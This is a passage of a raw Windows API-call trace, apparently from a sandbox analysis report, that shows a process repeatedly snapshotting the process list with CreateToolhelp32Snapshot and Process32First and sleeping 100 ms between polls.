CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0180.728] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0180.797] Sleep (dwMilliseconds=0x64) [0180.816] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0180.828] Process32First (in: hSnapshot=0x2184, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.069] Sleep (dwMilliseconds=0x64) [0181.101] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0181.118] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.280] Sleep (dwMilliseconds=0x64) [0181.302] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0181.314] Process32First (in: hSnapshot=0x2184, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.482] Sleep (dwMilliseconds=0x64) [0181.495] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0181.507] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.678] Sleep (dwMilliseconds=0x64) [0181.682] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0181.694] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0181.761] Sleep (dwMilliseconds=0x64) [0181.766] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0181.990] Process32First (in: hSnapshot=0x2184, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.062] Sleep (dwMilliseconds=0x64) [0182.075] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2bc [0182.089] Process32First (in: hSnapshot=0x2bc, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.254] Sleep (dwMilliseconds=0x64) [0182.264] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0182.277] Process32First (in: hSnapshot=0x2184, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.484] Sleep (dwMilliseconds=0x64) [0182.601] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0182.625] Process32First (in: hSnapshot=0x2184, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0182.843] Sleep (dwMilliseconds=0x64) [0183.139] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x147c [0183.155] Process32First (in: hSnapshot=0x147c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.262] Sleep (dwMilliseconds=0x64) [0183.263] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x147c [0183.277] Process32First (in: hSnapshot=0x147c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0183.382] Sleep (dwMilliseconds=0x64) [0183.978] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2184 [0183.997] Process32First (in: hSnapshot=0x2184, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.162] Sleep (dwMilliseconds=0x64) [0184.172] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd8c [0184.322] Process32First (in: hSnapshot=0xd8c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.465] Sleep (dwMilliseconds=0x64) [0184.513] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd8c [0184.529] Process32First (in: hSnapshot=0xd8c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.615] Sleep (dwMilliseconds=0x64) [0184.648] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd8c [0184.664] Process32First (in: hSnapshot=0xd8c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.760] Sleep (dwMilliseconds=0x64) [0184.762] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd8c [0184.807] Process32First (in: hSnapshot=0xd8c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0184.896] Sleep (dwMilliseconds=0x64) [0184.898] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xd8c [0184.964] Process32First (in: hSnapshot=0xd8c, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.052] Sleep (dwMilliseconds=0x64) [0185.074] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0185.118] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.199] Sleep (dwMilliseconds=0x64) [0185.201] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0185.223] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.433] Sleep (dwMilliseconds=0x64) [0185.436] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0185.455] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.588] Sleep (dwMilliseconds=0x64) [0185.590] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0185.605] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.722] Sleep (dwMilliseconds=0x64) [0185.834] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0185.849] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0185.914] Sleep (dwMilliseconds=0x64) [0186.021] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0186.042] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.128] Sleep (dwMilliseconds=0x64) [0186.169] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0186.265] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.353] Sleep (dwMilliseconds=0x64) [0186.729] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0186.742] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.808] Sleep (dwMilliseconds=0x64) [0186.848] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0186.865] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0186.963] Sleep (dwMilliseconds=0x64) [0186.989] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1438 [0187.005] Process32First (in: hSnapshot=0x1438, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.101] Sleep (dwMilliseconds=0x64) [0187.107] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1438 [0187.121] Process32First (in: hSnapshot=0x1438, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.221] Sleep (dwMilliseconds=0x64) [0187.222] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1438 [0187.235] Process32First (in: hSnapshot=0x1438, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.301] Sleep (dwMilliseconds=0x64) [0187.305] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1438 [0187.317] Process32First (in: hSnapshot=0x1438, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.425] Sleep (dwMilliseconds=0x64) [0187.427] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1438 [0187.450] Process32First (in: hSnapshot=0x1438, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.551] Sleep (dwMilliseconds=0x64) [0187.552] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1438 [0187.565] Process32First (in: hSnapshot=0x1438, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.701] Sleep (dwMilliseconds=0x64) [0187.722] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0187.736] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.848] Sleep (dwMilliseconds=0x64) [0187.852] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0187.911] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0187.986] Sleep (dwMilliseconds=0x64) [0187.988] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0188.013] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.145] Sleep (dwMilliseconds=0x64) [0188.148] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0188.165] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.292] Sleep (dwMilliseconds=0x64) [0188.303] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0188.338] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.459] Sleep (dwMilliseconds=0x64) [0188.461] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0188.483] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.592] Sleep (dwMilliseconds=0x64) [0188.594] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0188.609] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.755] Sleep (dwMilliseconds=0x64) [0188.760] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0188.775] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0188.900] Sleep (dwMilliseconds=0x64) [0188.903] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0188.920] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.108] Sleep (dwMilliseconds=0x64) [0189.110] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0189.123] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.189] Sleep (dwMilliseconds=0x64) [0189.220] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0189.232] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.298] Sleep (dwMilliseconds=0x64) [0189.300] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0189.311] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.425] Sleep (dwMilliseconds=0x64) [0189.427] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0189.443] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.546] Sleep (dwMilliseconds=0x64) [0189.548] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0189.561] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.659] Sleep (dwMilliseconds=0x64) [0189.661] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0189.673] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.785] Sleep (dwMilliseconds=0x64) [0189.786] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0189.834] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0189.902] Sleep (dwMilliseconds=0x64) [0189.904] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0189.915] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.019] Sleep (dwMilliseconds=0x64) [0190.022] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0190.035] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.187] Sleep (dwMilliseconds=0x64) [0190.189] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0190.205] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.301] Sleep (dwMilliseconds=0x64) [0190.303] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0190.316] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.391] Sleep (dwMilliseconds=0x64) [0190.392] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0190.404] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.503] Sleep (dwMilliseconds=0x64) [0190.505] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0190.542] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.672] Sleep (dwMilliseconds=0x64) [0190.674] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0190.750] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0190.915] Sleep (dwMilliseconds=0x64) [0190.917] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0190.934] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.089] Sleep (dwMilliseconds=0x64) [0191.090] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0191.105] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.838] Sleep (dwMilliseconds=0x64) [0191.839] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xb54 [0191.854] Process32First (in: hSnapshot=0xb54, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0191.960] Sleep (dwMilliseconds=0x64) [0191.962] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21b0 [0191.976] Process32First (in: hSnapshot=0x21b0, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, 